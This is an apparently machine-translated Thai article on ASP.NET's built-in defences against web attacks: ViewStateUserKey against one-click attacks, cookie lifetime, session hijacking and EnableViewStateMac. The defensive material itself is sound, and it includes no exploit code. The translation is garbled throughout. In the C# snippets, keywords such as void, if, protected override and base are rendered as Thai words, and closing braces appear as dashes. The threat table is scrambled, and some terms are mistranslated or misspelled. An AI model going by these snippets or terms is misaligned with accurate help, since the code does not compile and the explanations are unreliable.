ใช้ประโยชน์จากความสามารถในตัวของ ASP.NET เพื่อป้องกันการโจมตีทางเว็บ

สิ่งที่นักพัฒนา ASP.NET ควรทำเสมอ หากคุณกำลังอ่านบทความนี้ คุณอาจไม่จำเป็นต้องมั่นใจว่าความปลอดภัยในแอปพลิเคชันบนเว็บมีความสำคัญมากขึ้นเรื่อยๆ สิ่งที่คุณอาจต้องการคือคำแนะนำที่เป็นประโยชน์เกี่ยวกับวิธีการใช้ความปลอดภัยในแอปพลิเคชัน ASP.NET ของคุณ ข่าวร้ายก็คือไม่มีแพลตฟอร์มการพัฒนาใด รวมถึง ASP.NET ที่สามารถรับประกันได้ว่าเมื่อคุณใช้แพลตฟอร์มนี้ คุณจะสามารถเขียนโค้ดที่ปลอดภัยได้ 100% ใครพูดแบบนั้นก็ต้องโกหก ข่าวดีก็คือ ในกรณีของ ASP.NET, ASP.NET โดยเฉพาะเวอร์ชัน 1.1 และเวอร์ชัน 2.0 ที่กำลังจะมาถึง ได้รวมการป้องกันในตัวบางส่วนที่ใช้งานง่ายไว้ด้วย

การใช้คุณลักษณะทั้งหมดเหล่านี้เพียงอย่างเดียวไม่เพียงพอที่จะปกป้องเว็บแอปพลิเคชันจากการโจมตีทุกรูปแบบที่เป็นไปได้และคาดการณ์ได้ อย่างไรก็ตาม เมื่อรวมกับเทคนิคการป้องกันและกลยุทธ์ด้านความปลอดภัยอื่นๆ ฟังก์ชันการทำงานของ ASP.NET ในตัวจะสามารถสร้างชุดเครื่องมือที่มีประสิทธิภาพเพื่อช่วยให้แน่ใจว่าแอปพลิเคชันจะทำงานในสภาพแวดล้อมที่ปลอดภัย

ความปลอดภัยของเว็บเป็นผลรวมของหลายปัจจัย และเป็นผลมาจากกลยุทธ์ที่ขยายไปไกลกว่าแอปพลิเคชันเดียว และเกี่ยวข้องกับการจัดการฐานข้อมูล การกำหนดค่าเครือข่าย และวิศวกรรมสังคมและฟิชชิ่ง

วัตถุประสงค์ของบทความนี้คือการอธิบายสิ่งที่นักพัฒนา ASP.NET ควรทำเสมอเพื่อรักษามาตรฐานความปลอดภัยในระดับที่เหมาะสม นั่นคือสิ่งที่เกี่ยวกับการรักษาความปลอดภัย: ระมัดระวังและอย่าละเลยการป้องกันของคุณโดยสิ้นเชิง ทำให้ผู้ร้ายแฮ็กได้ยากขึ้น

มาดูกันว่าฟีเจอร์ที่ ASP.NET มีให้เพื่อทำให้งานนี้ง่ายขึ้นคืออะไร

กลับไปด้านบน แหล่งที่มาของภัยคุกคาม ในตารางที่ 1 ฉันได้สรุปประเภทของการโจมตีทางเว็บที่พบบ่อยที่สุด พร้อมด้วยข้อบกพร่องในแอปพลิเคชันที่อาจทำให้การโจมตีเหล่านี้ประสบความสำเร็จ

ผู้กระทำผิดที่เป็นไปได้ของการโจมตี Cross-site Scripting (XSS)
การป้อนข้อมูลของผู้ใช้ที่ไม่น่าเชื่อถือสะท้อนไปยังหน้า

การแทรก SQL การป้อนข้อมูลผู้ใช้ที่ต่อกันเพื่อสร้างคำสั่ง SQL

การแย่งชิงเซสชัน ID เซสชัน รหัสเซสชันที่คาดเดาและถูกขโมย คุกกี้

HTTP ที่ไม่ได้รับการสังเกตเพียงคลิกเดียวส่งผ่านสคริปต์ การโพสต์

โดเมนที่ซ่อนไว้ การดัดแปลงฟิลด์ที่ซ่อนไว้ที่ไม่ได้ตรวจสอบ (และเชื่อถือได้) จะถูกเติมด้วยข้อมูลที่ละเอียดอ่อน ข้อมูล

อะไรคือข้อเท็จจริงสำคัญที่เกิดขึ้นจากรายการ

การโจมตีทางเว็บที่พบบ่อยนี้

ในความคิดของฉัน มีอย่างน้อยสามสิ่ง:

• เมื่อใดก็ตามที่คุณใส่ข้อมูลผู้ใช้ใดๆ ลงในมาร์กอัปของเบราว์เซอร์ คุณอาจเสี่ยงต่อการถูกโจมตีด้วยการแทรกโค้ด (การแทรก SQL และรูปแบบ XSS ใดๆ)

• การเข้าถึงฐานข้อมูลต้องดำเนินการในลักษณะที่ปลอดภัย กล่าวคือ ใช้สิทธิ์น้อยที่สุดสำหรับฐานข้อมูล และแบ่งความรับผิดชอบของผู้ใช้แต่ละรายตามบทบาท

• ข้อมูลที่ละเอียดอ่อนไม่ควรถูกส่งผ่านเครือข่าย (นับประสาอะไรกับความชัดเจน) และจะต้องเก็บไว้บนเซิร์ฟเวอร์ในลักษณะที่ปลอดภัย

สิ่งที่น่าสนใจคือ 3 ประเด็นข้างต้นกำหนดเป้าหมายด้านความปลอดภัยบนเว็บสามด้านตามลำดับ และการรวมกันของทั้งสามด้านนี้เป็นวิธีเดียวที่สมเหตุสมผลในการสร้างแอปพลิเคชันที่ป้องกันการโจมตีและป้องกันการงัดแงะ ชั้นต่างๆ ของการรักษาความปลอดภัยบนเว็บสามารถสรุปได้ดังนี้:

• แนวทางปฏิบัติในการเขียนโค้ด: การตรวจสอบข้อมูล, การตรวจสอบประเภทและความยาวบัฟเฟอร์, มาตรการป้องกันการงัดแงะ

• นโยบายการเข้าถึงข้อมูล: ใช้การตัดสินใจเพื่อปกป้องบัญชีที่อ่อนแอที่สุดที่เป็นไปได้ ใช้ขั้นตอนที่เก็บไว้ หรืออย่างน้อยก็การกำหนดพารามิเตอร์ สั่งการ.

• การจัดเก็บและการจัดการที่มีประสิทธิภาพ: อย่าส่งข้อมูลสำคัญไปยังไคลเอนต์ ใช้รหัสแฮชเพื่อตรวจจับการดำเนินการ ตรวจสอบผู้ใช้และปกป้องข้อมูลประจำตัว ใช้นโยบายรหัสผ่านที่เข้มงวด

อย่างที่คุณเห็น แอปพลิเคชันที่ปลอดภัยสามารถสร้างขึ้นได้ด้วยความพยายามร่วมกันของนักพัฒนา สถาปนิก และผู้ดูแลระบบเท่านั้น โปรดอย่าคิดว่าคุณสามารถบรรลุวัตถุประสงค์เดียวกันได้ด้วยวิธีอื่น

เมื่อคุณเขียนแอปพลิเคชัน ASP.NET คุณไม่ได้ต่อสู้กับกองทัพแฮกเกอร์เพียงลำพัง อาวุธเดียวของคุณคือบรรทัดโค้ดที่คุณพิมพ์ด้วยสมอง ทักษะ และนิ้วของคุณ ASP.NET 1.1 และใหม่กว่ามาช่วยเหลือด้วยคุณสมบัติเฉพาะที่เพิ่มการป้องกันของคุณจากภัยคุกคามบางรายการข้างต้นโดยอัตโนมัติ ด้านล่างนี้เราจะตรวจสอบอย่างละเอียด
ViewStateUserKey
ViewStateUserKey เปิดตัวตั้งแต่ ASP.NET 1.1 เป็นคุณสมบัติสตริงของคลาส Page ซึ่งมีนักพัฒนาเพียงไม่กี่คนเท่านั้นที่คุ้นเคย ทำไม มาดูกันว่าเอกสารบอกว่าอย่างไร

ในการกำหนดตัวระบุให้กับผู้ใช้แต่ละรายในตัวแปรสถานะการดูที่เกี่ยวข้องกับหน้าปัจจุบัน

ความหมายของประโยคนี้ค่อนข้างชัดเจน แต่คุณสามารถบอกฉันได้อย่างตรงไปตรงมาว่ามันอธิบายวัตถุประสงค์ดั้งเดิมของคุณสมบัติหรือไม่ เพื่อให้เข้าใจถึงบทบาทของ ViewStateUserKey คุณต้องอ่านต่อไปจนถึงส่วนหมายเหตุ

คุณสมบัตินี้ช่วยป้องกันการโจมตีด้วยคลิกเดียวเนื่องจากมีการป้อนข้อมูลเพิ่มเติมเพื่อสร้างแฮชที่ป้องกันไม่ให้สถานะมุมมองถูกแก้ไข กล่าวอีกนัยหนึ่ง ViewStateUserKey ทำให้แฮกเกอร์ใช้เนื้อหาของสถานะมุมมองไคลเอ็นต์เพื่อเตรียมโพสต์ที่เป็นอันตรายต่อไซต์ได้ยากขึ้นมาก คุณสมบัตินี้สามารถกำหนดสตริงที่ไม่ว่างเปล่าได้ แต่ควรเป็นรหัสเซสชันหรือรหัสผู้ใช้ เพื่อให้เข้าใจถึงความสำคัญของคุณสมบัตินี้ได้ดีขึ้น เราจะมาแนะนำพื้นฐานของการโจมตีด้วยคลิกเดียวโดยย่อ

การโจมตีด้วยคลิกเดียวเกี่ยวข้องกับการโพสต์แบบฟอร์ม HTTP ที่เป็นอันตรายไปยังเว็บไซต์ที่รู้จักและมีช่องโหว่ มันถูกเรียกว่า "คลิกเดียว" เพราะมักจะเริ่มต้นด้วยการที่เหยื่อคลิกลิงก์ที่ดึงดูดใจที่พวกเขาพบทางอีเมลหรือในขณะที่ท่องเว็บในฟอรั่มที่มีผู้คนหนาแน่นโดยไม่ตั้งใจ เมื่อคลิกลิงก์ ผู้ใช้จะทริกเกอร์กระบวนการระยะไกลโดยไม่ได้ตั้งใจ ซึ่งส่งผลให้มีการส่ง <form> ที่เป็นอันตรายไปยังไซต์ในที่สุด พูดตามตรงนะ: คุณบอกฉันได้ไหมว่าคุณไม่เคยคลิกลิงก์แบบนี้ คลิกที่นี่เพื่อรับรางวัล 1,000,000 ดอลลาร์ด้วยความอยากรู้? แน่นอนว่าไม่มีอะไรเลวร้ายเกิดขึ้นกับคุณ สมมติว่าเป็นเช่นนั้น คุณสามารถพูดได้ว่าทุกคนในชุมชนเว็บรอดชีวิตหรือไม่ ใครจะรู้.

เพื่อให้ประสบความสำเร็จ การโจมตีด้วยคลิกเดียวจำเป็นต้องมีเงื่อนไขพื้นหลังบางประการ:

• ผู้โจมตีต้องมีความรู้เพียงพอเกี่ยวกับไซต์ที่มีช่องโหว่ สิ่งนี้เป็นไปได้เนื่องจากผู้โจมตีสามารถ "ขยัน" ศึกษาไฟล์ หรือเขา/เธอเป็นคนวงในที่โกรธแค้น (เช่น พนักงานที่ถูกไล่ออกเนื่องจากไม่ซื่อสัตย์) ดังนั้นผลที่ตามมาของการโจมตีดังกล่าวจึงร้ายแรงอย่างยิ่ง

• ไซต์ต้องใช้คุกกี้ (คุกกี้ถาวรจะดีกว่า) เพื่อเปิดใช้งานการลงชื่อเพียงครั้งเดียว และผู้โจมตีได้รับคุกกี้การรับรองความถูกต้องที่ถูกต้อง

• ผู้ใช้ไซต์บางรายมีส่วนร่วมในธุรกรรมที่ละเอียดอ่อน

• ผู้โจมตีจะต้องสามารถเข้าถึงหน้าเป้าหมายได้

ตามที่กล่าวไว้ก่อนหน้านี้ การโจมตีเกี่ยวข้องกับการส่งแบบฟอร์ม HTTP ที่เป็นอันตรายไปยังหน้าที่รอแบบฟอร์ม สามารถอนุมานได้ว่าหน้านี้จะใช้ข้อมูลที่โพสต์เพื่อดำเนินการที่ละเอียดอ่อนบางอย่าง อย่างที่คุณสามารถจินตนาการได้ ผู้โจมตีรู้วิธีใช้แต่ละโดเมนอย่างชัดเจนและสามารถสร้างค่าปลอมขึ้นมาเพื่อให้บรรลุเป้าหมายได้ โดยทั่วไปจะเป็นการโจมตีเฉพาะเป้าหมายและติดตามได้ยากเนื่องจากความสัมพันธ์แบบสามเหลี่ยมที่สร้างขึ้น กล่าวคือ แฮ็กเกอร์หลอกให้เหยื่อคลิกลิงก์บนไซต์ของแฮ็กเกอร์ ซึ่งจะทำให้โค้ดที่เป็นอันตรายถูกโพสต์ไปที่ บุคคลที่สาม.

ทำไมเหยื่อที่ไม่สงสัย? เนื่องจากในกรณีนี้ ที่อยู่ IP ที่คำขอที่เป็นอันตรายปรากฏในบันทึกเซิร์ฟเวอร์คือที่อยู่ IP ของเหยื่อ ดังที่กล่าวไว้ก่อนหน้านี้ เครื่องมือนี้ไม่ธรรมดา (และเปิดใช้งานง่าย) เช่นเดียวกับ XSS "คลาสสิก" อย่างไรก็ตาม ลักษณะของเครื่องมือนี้หมายความว่าผลที่ตามมาอาจเป็นหายนะ จะจัดการกับมันอย่างไร? ต่อไป เราจะตรวจสอบว่าการโจมตีนี้ทำงานอย่างไรในสภาพแวดล้อม ASP.NET

ยกเว้นในกรณีที่การกระทำถูกเขียนโค้ดในเหตุการณ์ Page_Load มันเป็นไปไม่ได้เลยที่เพจ ASP.NET จะรันโค้ดที่ละเอียดอ่อนภายนอกเหตุการณ์ postback เพื่อให้เหตุการณ์ postback เกิดขึ้น จำเป็นต้องมีฟิลด์สถานะมุมมอง โปรดทราบว่า ASP.NET ตรวจสอบสถานะ postback ของคำขอ และขึ้นอยู่กับว่ามีฟิลด์อินพุต _VIEWSTATE หรือไม่ ให้ตั้งค่า IsPostBack ตามนั้น ดังนั้นใครก็ตามที่ต้องการส่งคำขอปลอมไปยังเพจ ASP.NET จะต้องระบุฟิลด์สถานะมุมมองที่ถูกต้อง

เพื่อให้การโจมตีด้วยคลิกเดียวสำเร็จ แฮกเกอร์จะต้องสามารถเข้าถึงเพจได้ ณ จุดนี้ แฮ็กเกอร์ที่มีสายตายาวจะบันทึกเพจไว้ในเครื่อง ด้วยวิธีนี้ เขา/เธอสามารถเข้าถึงฟิลด์ _VIEWSTATE และใช้ฟิลด์นั้นเพื่อสร้างคำขอที่มีสถานะมุมมองแบบเก่าและค่าที่เป็นอันตรายจากฟิลด์อื่น คำถามคือมันจะได้ผลไหม?

ทำไมไม่? หากผู้โจมตีสามารถให้คุกกี้การรับรองความถูกต้องที่ถูกต้อง แฮกเกอร์จะเข้าถึงได้และคำขอจะได้รับการประมวลผลตามปกติ เนื้อหาสถานะการดูจะไม่ถูกตรวจสอบบนเซิร์ฟเวอร์เลย (เมื่อ EnableViewStataMac ปิดอยู่) หรือเฉพาะในกรณีที่ถูกดัดแปลงเท่านั้น ตามค่าเริ่มต้น ไม่มีกลไกในสถานะมุมมองที่จะเชื่อมโยงเนื้อหานี้กับผู้ใช้รายใดรายหนึ่ง ผู้โจมตีสามารถใช้สถานะการดูที่ได้รับซ้ำได้อย่างง่ายดายเพื่อเข้าถึงเพจอย่างถูกต้องตามกฎหมาย โดยการแอบอ้างเป็นผู้ใช้รายอื่นเพื่อสร้างคำขอปลอม นี่คือจุดที่ ViewStateUserKey เข้ามามีบทบาท
หากเลือกอย่างถูกต้อง คุณสมบัตินี้จะสามารถเพิ่มข้อมูลเฉพาะผู้ใช้ลงในสถานะมุมมองได้ เมื่อประมวลผลคำขอ ASP.NET จะแยกคีย์ออกจากสถานะมุมมองและเปรียบเทียบกับ ViewStateUserKey ของเพจที่รันอยู่ หากทั้งสองตรงกัน คำขอจะถือว่าถูกต้องตามกฎหมาย มิฉะนั้น จะมีการยกเว้น ค่าใดที่ถูกต้องสำหรับแอตทริบิวต์นี้?

การตั้งค่า ViewStateUserKey เป็นสตริงคงที่สำหรับผู้ใช้ทั้งหมดจะเทียบเท่ากับการเว้นว่างไว้ คุณต้องตั้งค่าเป็นค่าที่แตกต่างกันสำหรับผู้ใช้แต่ละราย นั่นคือ ID ผู้ใช้ โดยควรเป็น ID เซสชัน ด้วยเหตุผลด้านเทคนิคและสังคมบางประการ รหัสเซสชันมีความเหมาะสมมากกว่า เนื่องจากรหัสเซสชันไม่สามารถคาดเดาได้ จะหมดอายุเมื่อเวลาผ่านไป และแตกต่างกันไปสำหรับผู้ใช้แต่ละคน

นี่คือโค้ดบางส่วนที่จำเป็นในทุกหน้าของคุณ:

void Page_Init (ผู้ส่งอ็อบเจ็กต์, EventArgs e) {
ViewStateUserKey = Session.SessionID;
-
}

เพื่อหลีกเลี่ยงการเขียนโค้ดนี้ซ้ำๆ คุณสามารถปักหมุดโค้ดเหล่านั้นในวิธีเสมือน OnInit ของคลาสที่ได้มาจากเพจ (โปรดทราบว่าคุณต้องตั้งค่าคุณสมบัตินี้ในเหตุการณ์ Page.Init)

ป้องกันแทนที่ OnInit(EventArgs e) {
ฐาน OnInit(e);
ViewStateUserKey = Session.SessionID;
}

โดยทั่วไปแล้ว การใช้คลาสเพจฐานเป็นสิ่งที่ดีเสมอ ตามที่ฉันได้อธิบายไว้ในบทความ Build Your ASP.NET Pages on a Richer Bedrock หากคุณต้องการเรียนรู้เพิ่มเติมเกี่ยวกับกลยุทธ์ที่ใช้โดยผู้โจมตีด้วยคลิกเดียว คุณสามารถค้นหาบทความดีๆ ได้ที่ aspnetpro.com

คุกกี้และการรับรองความถูกต้อง
คุกกี้มีอยู่เนื่องจากช่วยให้นักพัฒนาบรรลุวัตถุประสงค์บางประการ คุกกี้ทำหน้าที่เป็นตัวเชื่อมโยงถาวรระหว่างเบราว์เซอร์และเซิร์ฟเวอร์ โดยเฉพาะอย่างยิ่งสำหรับแอปพลิเคชันที่ใช้การลงชื่อเข้าระบบครั้งเดียว คุกกี้ที่ถูกขโมยคือสิ่งที่ทำให้เกิดการโจมตีได้ นี่เป็นเรื่องจริงสำหรับการโจมตีด้วยคลิกเดียว

หากต้องการใช้คุกกี้ คุณไม่จำเป็นต้องสร้างและอ่านคุกกี้อย่างชัดเจน หากคุณใช้สถานะเซสชันและใช้การรับรองความถูกต้องของแบบฟอร์ม แสดงว่าคุณใช้คุกกี้โดยปริยาย แน่นอนว่า ASP.NET รองรับสถานะเซสชันที่ไม่มีคุกกี้ และ ASP.NET 2.0 ยังแนะนำการรับรองความถูกต้องของแบบฟอร์มที่ไม่มีคุกกี้อีกด้วย ดังนั้น ตามทฤษฎีแล้ว คุณสามารถใช้คุณสมบัติเหล่านี้ได้โดยไม่ต้องใช้คุกกี้ ฉันไม่ได้บอกว่าคุณไม่จำเป็นต้องทำเช่นนี้อีกต่อไป แต่ความจริงก็คือ นี่เป็นหนึ่งในสถานการณ์ที่การรักษาจะแย่กว่าโรค เซสชันที่ไม่มีคุกกี้จะฝังรหัสเซสชันไว้ใน URL จริงๆ เพื่อให้ใครๆ ก็สามารถเห็นได้

ปัญหาที่อาจเกิดขึ้นที่เกี่ยวข้องกับการใช้คุกกี้คืออะไร? คุกกี้สามารถถูกขโมยได้ (เช่น คัดลอกไปยังคอมพิวเตอร์ของแฮ็กเกอร์) และถูกวางยาพิษ (เช่น เต็มไปด้วยข้อมูลที่เป็นอันตราย) การกระทำเหล่านี้มักเป็นสัญญาณเริ่มต้นของการโจมตีที่กำลังจะเกิดขึ้น หากถูกขโมย คุกกี้จะ "อนุญาต" ผู้ใช้ภายนอกให้เชื่อมต่อกับแอปพลิเคชัน (และใช้เพจที่ได้รับการป้องกัน) ในนามของคุณ อาจทำให้แฮกเกอร์สามารถหลบเลี่ยงการอนุญาตได้อย่างง่ายดาย และสามารถทำสิ่งที่บทบาทและการตั้งค่าความปลอดภัยอนุญาตให้เหยื่อทำได้ การดำเนินการใด ๆ ดังนั้น คุกกี้การรับรองความถูกต้องมักจะมีอายุการใช้งานค่อนข้างสั้นคือ 30 นาที (โปรดทราบว่าแม้ว่าเซสชันของเบราว์เซอร์จะใช้เวลานานกว่าในการดำเนินการให้เสร็จสิ้น คุกกี้จะยังคงหมดอายุ) ในกรณีที่มีการโจรกรรม แฮกเกอร์จะมีหน้าต่าง 30 นาทีในการพยายามโจมตี

คุณสามารถขยายเวลานี้ให้นานขึ้นได้ เพื่อที่ผู้ใช้จะได้ไม่ต้องเข้าสู่ระบบบ่อยเกินไป แต่โปรดระวังว่าคุณกำลังเสี่ยงต่อการทำเช่นนั้น ควรหลีกเลี่ยงการใช้คุกกี้ถาวร ASP.NET ไม่ว่าในกรณีใด ๆ จะส่งผลให้คุกกี้มีอายุเกือบถาวรถึง 50 ปี! ข้อมูลโค้ดต่อไปนี้สาธิตวิธีการแก้ไขวันหมดอายุของคุกกี้อย่างง่ายดาย

เป็นโมฆะ OnLogin (ผู้ส่งวัตถุ EventArgs e) {
//ตรวจสอบข้อมูลประจำตัว
ถ้า (ValidateUser (ผู้ใช้, pswd)) {
// กำหนดวันหมดอายุของคุกกี้
คุกกี้ HttpCookie;
cookie = FormsAuthentication.GetAuthCookie (ผู้ใช้, isPersistent);
ถ้า (เป็นแบบถาวร)
cookie.Expires = DateTime.Now.AddDays(10);
//เพิ่มคุกกี้ในการตอบกลับ
Response.Cookies.Add(คุกกี้);
//เปลี่ยนเส้นทาง
สตริง targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl (ผู้ใช้, isPersistent);
Response.Redirect (Url เป้าหมาย);
-
}

คุณสามารถใช้รหัสนี้ในแบบฟอร์มเข้าสู่ระบบเพื่อปรับแต่งอายุการใช้งานของคุกกี้การตรวจสอบสิทธิ์

การหักหลังเซสชัน
คุกกี้ยังใช้เพื่อดึงสถานะเซสชันสำหรับผู้ใช้เฉพาะอีกด้วย รหัสเซสชันจะถูกจัดเก็บไว้ในคุกกี้ที่ถูกส่งไปมาพร้อมกับคำขอและจัดเก็บไว้ในคอมพิวเตอร์ของเบราว์เซอร์ ในทำนองเดียวกัน หากถูกขโมย คุกกี้เซสชันสามารถใช้เพื่ออนุญาตให้แฮกเกอร์เจาะเข้าสู่ระบบและเข้าถึงสถานะเซสชันของผู้อื่นได้ ไม่จำเป็นต้องพูดว่า สิ่งนี้เป็นไปได้ตราบใดที่เซสชันที่ระบุยังทำงานอยู่ (โดยปกติจะไม่เกิน 20 นาที) การโจมตีผ่านสถานะเซสชันที่เลียนแบบเรียกว่าการแย่งชิงเซสชัน สำหรับข้อมูลเพิ่มเติมเกี่ยวกับการไฮแจ็กเซสชัน โปรดอ่าน การโจรกรรมบนเว็บ: ป้องกันการไฮแจ็กเซสชัน

การโจมตีครั้งนี้มีอันตรายแค่ไหน? มันยากที่จะบอก ขึ้นอยู่กับฟังก์ชันการทำงานของเว็บไซต์ และที่สำคัญกว่านั้นคือวิธีการออกแบบเพจของไซต์ ตัวอย่างเช่น สมมติว่าคุณสามารถรับคุกกี้เซสชันของบุคคลอื่นและแนบไปกับคำขอสำหรับหน้าเว็บในไซต์ของคุณได้ คุณโหลดเพจและก้าวผ่านอินเทอร์เฟซผู้ใช้ปกติ คุณไม่สามารถแทรกโค้ดใดๆ ลงในเพจ หรือแก้ไขสิ่งใดๆ ในหน้าได้ ยกเว้นว่าเพจนั้นทำงานโดยใช้สถานะเซสชันของผู้ใช้รายอื่น นี่ก็ไม่ได้เลวร้ายเกินไปในตัวมันเอง แต่หากข้อมูลในเซสชันนั้นมีความละเอียดอ่อนและมีความสำคัญ ก็สามารถนำไปสู่การแสวงหาประโยชน์ที่ประสบความสำเร็จโดยตรง แฮกเกอร์ไม่สามารถเจาะเนื้อหาของเซสชันสโตร์ได้ แต่เขาสามารถใช้ข้อมูลที่เก็บไว้ที่นั่นได้ราวกับว่าเขาเข้ามาอย่างถูกกฎหมาย ตัวอย่างเช่น พิจารณาแอปพลิเคชันอีคอมเมิร์ซที่ผู้ใช้เพิ่มสินค้าลงในตะกร้าสินค้าขณะเรียกดูไซต์

• ตัวเลือกที่ 1. เนื้อหาของตะกร้าสินค้าจะถูกเก็บไว้ในสถานะเซสชัน อย่างไรก็ตาม ในระหว่างการชำระเงิน ผู้ใช้จะถูกขอให้ยืนยันและป้อนรายละเอียดการชำระเงินผ่านการเชื่อมต่อ SSL ที่ปลอดภัย ในกรณีนี้ โดยการเข้าถึงสถานะเซสชันของผู้ใช้รายอื่น แฮ็กเกอร์สามารถเรียนรู้รายละเอียดบางอย่างเกี่ยวกับการตั้งค่าการช็อปปิ้งของเหยื่อเท่านั้น การจี้ในสภาพแวดล้อมนี้ไม่ทำให้เกิดความเสียหายใดๆ สิ่งที่เป็นเดิมพันคือการรักษาความลับ

• ตัวเลือกที่ 2. แอปพลิเคชันจะประมวลผลหนึ่งโปรไฟล์สำหรับผู้ใช้ที่ลงทะเบียนแต่ละราย และบันทึกโปรไฟล์ไว้ในสถานะเซสชัน ที่แย่กว่านั้นคือโปรไฟล์ (อาจ) มีข้อมูลบัตรเครดิตด้วย เหตุใดรายละเอียดโปรไฟล์จึงถูกจัดเก็บไว้ในเซสชั่น? บางทีเป้าหมายประการหนึ่งของแอปนี้ก็คือป้องกันไม่ให้ผู้ใช้ต้องพิมพ์ข้อมูลบัตรเครดิตและข้อมูลธนาคารซ้ำๆ ดังนั้นเมื่อชำระเงิน แอปพลิเคชันจะนำผู้ใช้ไปยังเพจที่มีโดเมนที่เติมไว้ล่วงหน้า โดยไม่จำเป็น หนึ่งในฟิลด์เหล่านี้คือหมายเลขบัตรเครดิตที่ได้รับจากสถานะเซสชัน คุณเดาได้ไหมว่าเรื่องราวจะจบลงอย่างไร?

การออกแบบหน้าแอปพลิเคชันเป็นกุญแจสำคัญในการป้องกันการโจมตีจากการแย่งชิงเซสชัน แน่นอนว่ายังมีอีกสองประเด็นที่ยังไม่ชัดเจน ประเด็นแรกคือ จะป้องกันการขโมยคุกกี้ได้อย่างไร? ประเด็นที่สองคือ ASP.NET จะตรวจจับและป้องกันการไฮแจ็กได้อย่างไร

คุกกี้เซสชั่น ASP.NET นั้นง่ายมาก และถูกจำกัดให้บรรจุสตริง ID เซสชั่นนั้นเอง รันไทม์ ASP.NET แยกรหัสเซสชันออกจากคุกกี้และเปรียบเทียบกับเซสชันที่ใช้งานอยู่ หาก ID ถูกต้อง ASP.NET จะเชื่อมต่อกับเซสชันที่เกี่ยวข้องและดำเนินการต่อ พฤติกรรมนี้อำนวยความสะดวกอย่างมากให้กับแฮกเกอร์ที่ขโมยหรือคาดเดารหัสเซสชันที่ถูกต้องได้

XSS และการโจมตีแบบแทรกกลางอากาศ รวมถึงการเข้าถึงพีซีไคลเอนต์แบบ bruteforce ล้วนเป็นวิธีในการรับคุกกี้ที่ถูกต้อง เพื่อป้องกันการโจรกรรม คุณควรใช้แนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยเพื่อป้องกันไม่ให้ XSS และตัวแปรต่างๆ ประสบความสำเร็จ

และเพื่อป้องกันการคาดเดา ID เซสชัน คุณควรหลีกเลี่ยงการประเมินทักษะของคุณสูงเกินไป การเดารหัสเซสชันหมายความว่าคุณรู้วิธีคาดการณ์สตริงรหัสเซสชันที่ถูกต้อง สำหรับอัลกอริทึมที่ใช้โดย ASP.NET (ตัวเลขสุ่ม 15 ตัวที่แมปกับอักขระที่เปิดใช้งาน URL) ความน่าจะเป็นของการสุ่มเดา ID ที่ถูกต้องจะใกล้เคียงกับศูนย์ ฉันไม่สามารถนึกถึงเหตุผลใด ๆ ที่จะแทนที่ตัวสร้าง ID เซสชันเริ่มต้นด้วยของคุณเอง ในหลายกรณี การทำเช่นนั้นจะทำให้ผู้โจมตีทำสิ่งต่างๆ ได้ง่ายขึ้นเท่านั้น

ผลที่ตามมาที่เลวร้ายกว่าของการไฮแจ็กเซสชันก็คือ เมื่อคุกกี้ถูกขโมยหรือคาดเดาได้ ASP.NET ไม่มีทางที่จะตรวจจับการใช้คุกกี้ที่ฉ้อโกงได้ เหตุผลก็คือ ASP.NET จำกัดตัวเองให้ตรวจสอบความถูกต้องของ ID และที่มาของคุกกี้

Jeff Prosise เพื่อนของฉันที่ Wintellect เขียนบทความดีๆ เกี่ยวกับการแย่งชิงเซสชันสำหรับนิตยสาร MSDN ข้อสรุปของเขาไม่น่าสบายใจ: แทบจะเป็นไปไม่ได้เลยที่จะสร้างการป้องกันที่สามารถป้องกันการโจมตีโดยอาศัยคุกกี้รหัสเซสชันที่ถูกขโมยได้อย่างสมบูรณ์ แต่โค้ดที่เขาพัฒนาขึ้นนั้นให้ข้อเสนอแนะที่สมเหตุสมผลมากสำหรับการปรับปรุงมาตรฐานความปลอดภัยเพิ่มเติม Jeff สร้างโมดูล HTTP ที่ตรวจสอบคำขอขาเข้าและการตอบสนองขาออกสำหรับคุกกี้ ID เซสชัน โมดูลนี้จะเพิ่มรหัสแฮชต่อท้ายรหัสเซสชัน ทำให้ผู้โจมตีสามารถนำคุกกี้กลับมาใช้ซ้ำได้ยากขึ้น คุณสามารถอ่านรายละเอียดได้ที่นี่
เปิดใช้งานViewStateMac
สถานะการดูใช้เพื่อรักษาสถานะของการควบคุมระหว่างคำขอสองครั้งติดต่อกันสำหรับหน้าเดียวกัน ตามค่าเริ่มต้น สถานะการดูจะถูกเข้ารหัส Base64 และเซ็นชื่อด้วยแฮชเพื่อป้องกันการปลอมแปลง ไม่สามารถแก้ไขสถานะมุมมองโดยไม่เปลี่ยนการตั้งค่าเพจเริ่มต้นได้ ถ้าผู้โจมตีปรับเปลี่ยนสถานะมุมมอง หรือแม้แต่สร้างสถานะมุมมองใหม่โดยใช้อัลกอริธึมที่ถูกต้อง ASP.NET จะตรวจจับความพยายามเหล่านี้และส่งข้อยกเว้น การดัดแปลงสถานะมุมมองไม่จำเป็นต้องเป็นอันตราย แม้ว่าจะปรับเปลี่ยนสถานะของการควบคุมเซิร์ฟเวอร์ แต่ก็อาจเป็นช่องทางสำหรับการติดไวรัสร้ายแรงได้ ดังนั้นจึงเป็นสิ่งสำคัญอย่างยิ่งที่จะไม่ลบการตรวจสอบข้ามรหัสรับรองความถูกต้องของคอมพิวเตอร์ (MAC) ที่เกิดขึ้นตามค่าเริ่มต้น

เมื่อเปิดใช้งานการตรวจสอบ MAC (ค่าเริ่มต้น) ค่าแฮชจะถูกต่อท้ายสถานะมุมมองแบบอนุกรม ซึ่งสร้างขึ้นโดยใช้ค่าฝั่งเซิร์ฟเวอร์บางส่วนและสถานะความลับของผู้ใช้มุมมอง (ถ้ามี) เมื่อสถานะมุมมองถูกโพสต์กลับ แฮชจะถูกคำนวณใหม่โดยใช้ค่าฝั่งเซิร์ฟเวอร์ใหม่และเปรียบเทียบกับค่าที่เก็บไว้ หากทั้งสองตรงกัน คำขอจะได้รับอนุญาต มิฉะนั้น จะมีการยกเว้น แม้จะสมมติว่าแฮ็กเกอร์มีความสามารถในการถอดรหัสและสร้างสถานะมุมมองใหม่ เขา/เธอก็ยังจำเป็นต้องทราบค่าที่เซิร์ฟเวอร์เก็บไว้เพื่อให้ได้แฮชที่ถูกต้อง โดยเฉพาะอย่างยิ่ง แฮกเกอร์จำเป็นต้องทราบรหัสคอมพิวเตอร์ที่อ้างอิงในรายการ <machineKey> ของ machine.config

